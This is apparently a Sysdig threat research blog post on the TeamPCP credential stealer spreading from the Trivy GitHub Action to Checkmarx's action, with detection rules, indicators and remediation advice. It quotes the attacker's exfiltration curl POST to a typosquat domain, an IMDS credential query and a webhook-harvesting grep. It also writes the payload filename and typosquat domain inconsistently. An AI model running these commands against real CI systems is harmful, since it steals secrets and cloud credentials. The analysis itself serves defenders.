

TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions

By Sysdig Threat Research Team

Published: 2026-03-23 · Archived: 2026-08-06 02:00:42 UTC

On March 19, 2026, the threat actor known as TeamPCP compromised Aqua Security's [Trivy vulnerability scanner](#) and its associated GitHub Actions, injecting a credential-stealing payload into CI/CD pipelines across thousands of repositories. The incident was widely reported, with detailed analysis from [StepSecurity](#) and others.

What has not yet been publicly reported is that the same attack pattern subsequently appeared in a second, unrelated GitHub Action for [Checkmarx's AST](#). The Sysdig Threat Research Team (TRT) observed an identical credential stealer as the one used in TeamPCP's operations executing through Checkmarx/ast-github-action, exfiltrating encrypted secrets to a typosquat domain, approximately only four days after the initial Trivy compromise. This suggests that the stolen credentials from the Trivy compromise were used to poison additional actions in affected repositories.

Background: The Trivy compromise

The TeamPCP attack against Trivy has been extensively documented. The threat actor force-pushed 75 of 76 version tags in the aquasecurity/trivy-action repository, redirecting them to malicious commits containing the "TeamPCP Cloud stealer."

When CI/CD workflows referenced these tags, the compromised action executed a multi-stage payload:

- 1. **Credential scraping:** Scanned `/proc/*/mem` from Runner. Worker processes to extract secrets stored in memory
- 2. **Cloud metadata harvesting:** Queried the AWS Instance Metadata Service (IMDS) at 169.254.169.254 for IAM credentials
- 3. **Webhook enumeration:** Searched the workspace for Slack and Discord webhook URLs
- 4. **Encrypted exfiltration:** Bundled harvested secrets into an AES-256+RSA-4096 encrypted archive (tpcp.tar.gz) and uploaded it via curl POST to a typosquat domain

The exfiltration destination was scan.aquasecurtiy[.]org, a deliberate misspelling of Aqua Security's GitHub organization name (aquasecurity), resolved to 45.148.10.212.

The Checkmarx wave

Approximately four days after the Trivy-based attacks began, the Sysdig TRT observed a second wave of identical stealer activity originating from a different GitHub Action: Checkmarx/ast-github-action version 2.3.28.

The process tree for the Checkmarx events follows the same structure as the Trivy events, with only the entry point differing:

- **Trivy chain:** Runner.Worker → bash → endpoint.sh (trivy-action) → curl POST
- **Checkmarx chain:** Runner.Worker → bash → setup.sh (ast-github-action/2.3.28) → curl POST

The curl command is also functionally identical:

```
curl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \
-H Content-Type: application/octet-stream \
-H X-Filename: tpcp.tar.gz \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
```

This features the same tpcp.tar.gz filename, the same `--data-binary` upload pattern, the same `-w %{http_code}` status check, and the same X-Filename header. The only differences are:

Attribute	Trivy wave	Checkmarx wave
-----------	------------	----------------

Action	aquasecurity/trivy-action	Checkmarx/ast-github-action/2.3.28
Entry point	entrypoint.sh	setup.sh
Exfil domain	scan.aquasecurity[.]org	checkmarx[.]zone
Exfil IP	45.148.10.212:443	83.142.209.11:443
Typosquat of	aquasecurity.org	checkmarx.com

The use of vendor-specific typosquat domains for each poisoned action is a deliberate deception technique. An analyst reviewing CI/CD logs would see curl traffic to what appears to be the action's own vendor domain, reducing the likelihood of manual detection.

Supporting attack stages

The Checkmarx wave included the same supporting activity observed in the Trivy wave:

- **IMDS credential harvesting:** `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`

This command retrieves temporary AWS credentials from the Instance Metadata Service. In the context of a CI runner hosted on AWS or Azure (where IMDS is available), these credentials can provide access to cloud resources associated with the runner's IAM role.

- **Webhook URL enumeration:** `grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20`

This command searches the checked-out repository workspace for Slack and Discord webhook URLs, which can be used for secondary exfiltration or social engineering.

How this happened

The TeamPCP stealer's primary function is harvesting credentials from CI runner memory. When a compromised Trivy action executes in a workflow, it extracts GitHub personal access tokens (PATs) and other secrets from the Runner.Worker process memory. If those tokens have write access to repositories that also use Checkmarx actions, the attacker can use them to push malicious code to additional action dependencies.

This creates a cascading supply chain compromise: One poisoned action harvests credentials that enable poisoning of additional actions, each using a different typosquat domain to avoid pattern-based detection.

Runtime detection with Sysdig Secure and Falco

Supply chain compromises bypass most preventive controls upstream of the runner: Code review and dependency scanning failed here because the malicious code was injected into a trusted action at the source. Tag-based action references (e.g., @v2) were subverted by force-pushing tags to malicious commits. Only commit SHA pinning would have been immune. The action is already compromised when the workflow runs, so when the patch window collapses to zero, runtime detection becomes the primary line of defense.

The TeamPCP stealer follows a fixed kill chain regardless of which GitHub Action delivers it. Each stage of that chain produces system call activity that [Falco](#) and [Sysdig Secure](#) are designed to catch, without any prior knowledge of the specific compromised action.

Kill chain to detection mapping

Attack Stage	Observed behavior	Sysdig rule
--------------	-------------------	-------------

Cloud credential theft	<code>curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ from runner container</code>	Contact EC2 Instance Metadata Service From Container
Secret exfiltration	<code>curl POST with --data-binary uploading .tar.gz to external domain</code>	Curl Exfiltrating File
IMDS + exfiltration correlation	<code>curl POST to external domain from a process that also accessed IMDS</code>	Exfiltration of AWS IMDS Credentials Using LOTL Binary
Webhook harvesting	<code>grep -r hooks.slack.com discord.com/api/webhooks in workspace</code>	Malicious IPs or Domains Detected on Command Line

Why runtime detection works here

These four rules detected both the Trivy and Checkmarx waves because the underlying stealer payload is identical. The rules operate on behavior (system calls, network connections, process arguments), not on signatures for specific compromised packages. Static analysis and dependency scanning failed because the malicious code was injected into trusted, signed actions; network-based detection failed because the typosquat domains were newly registered and had clean reputation scores. Runtime detection, however, succeeded, because the attacker must ultimately execute system calls to steal and exfiltrate data, and those system calls are observable regardless of how the attacker gained code execution.

The highest-signal rule is “Exfiltration of AWS IMDS Credentials Using LOTL Binary,” which correlates IMDS access with subsequent data upload. Either behavior alone can be legitimate in CI pipelines, but the combination from the same process lineage is elevated to CRITICAL. The “Curl Exfiltrating File” rule catches the exfiltration step independently of the destination domain, meaning it works whether the attacker uses aquasecurity[.]org, checkmarx[.]zone, or any future typosquat.

Typosquat domain detection

Network-level detection alone is insufficient for these attacks. Both scan.aquasecurity[.]org and checkmarx[.]zone returned clean verdicts from threat intelligence feeds at the time of exploitation, as the domains were newly registered and had no prior malicious history. Detection must focus on the behavior (curl POST of binary data to external domains from CI runners) rather than relying on domain reputation.

Indicators of compromise

Exfiltration domains

Domain	Typosquat of	Resolved IP
scan.aquasecurity[.]org	aquasecurity (Aqua Security)	45.148.10.212
checkmarx[.]zone	checkmarx.com	83.142.209.11

Exfiltration indicators

Indicator	Value
Payload filename	tcp.tar.gz
Fallback exfiltration	Creation of tcp-docs repository in victim's GitHub account

Compromised actions

Action	Compromised version	Entry point
aquasecurity/trivy-action	75 of 76 tags	entrypoint.sh
aquasecurity/setup-trivy	7 tags	action.yaml
Checkmarx/ast-github-action	2.3.28 (possibly more)	setup.sh

Recommendations

- **Rotate** all secrets, tokens, and cloud credentials that were accessible to CI runners during the affected window. This includes GitHub PATs, AWS/Azure/GCP service principal credentials, and any secrets configured in repository or organization settings.
- **Audit** GitHub Actions workflow runs from March 19–23, 2026, for any references to tcp.tar.gz, aquasecurity, or checkmarx.zone in runner logs.
- **Search** your GitHub organization for repositories named tcp-docs, which indicate successful exfiltration via the fallback mechanism.
- **Pin** GitHub Actions to full commit SHAs rather than version tags. Tags can be force-pushed; commit SHAs cannot.
- **Enable** [Sysdig Secure](#) or [Falco](#) runtime detection on CI runner infrastructure to detect credential theft and data exfiltration regardless of the initial access vector.
- **Monitor** outbound network connections from CI runners for curl POST requests to domains that do not match expected artifact repositories.
- **Restrict** IMDS access from CI runner containers using IMDSv2 with hop limits, or disable IMDS entirely where cloud credentials are not needed.

Conclusion

The appearance of the TeamPCP stealer in Checkmarx/ast-github-action demonstrates that supply chain compromises are not isolated events. A single poisoned action can harvest credentials that enable the compromise of additional actions, creating a cascading effect across the CI/CD ecosystem. The identical payload, encryption scheme, and tcp.tar.gz naming convention confirm this is the same threat actor expanding their reach beyond the initial Trivy compromise.

Organizations that rely solely on tag-based action references or domain reputation would likely have missed the Checkmarx wave entirely, as it used a different action and a different domain, and appeared after the initial Trivy advisories focused attention elsewhere. Runtime detection proved effective against both waves because the underlying behavior is the same regardless of which action delivers it: A CI runner process uploads encrypted binary data to an external domain that was not part of the original workflow.

The rising frequency of CI/CD supply chain attacks, from tj-actions/changed-files in 2025 to TeamPCP's multi-action campaign in 2026, makes the runtime monitoring of build infrastructure more critical than ever.

Source: <https://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions>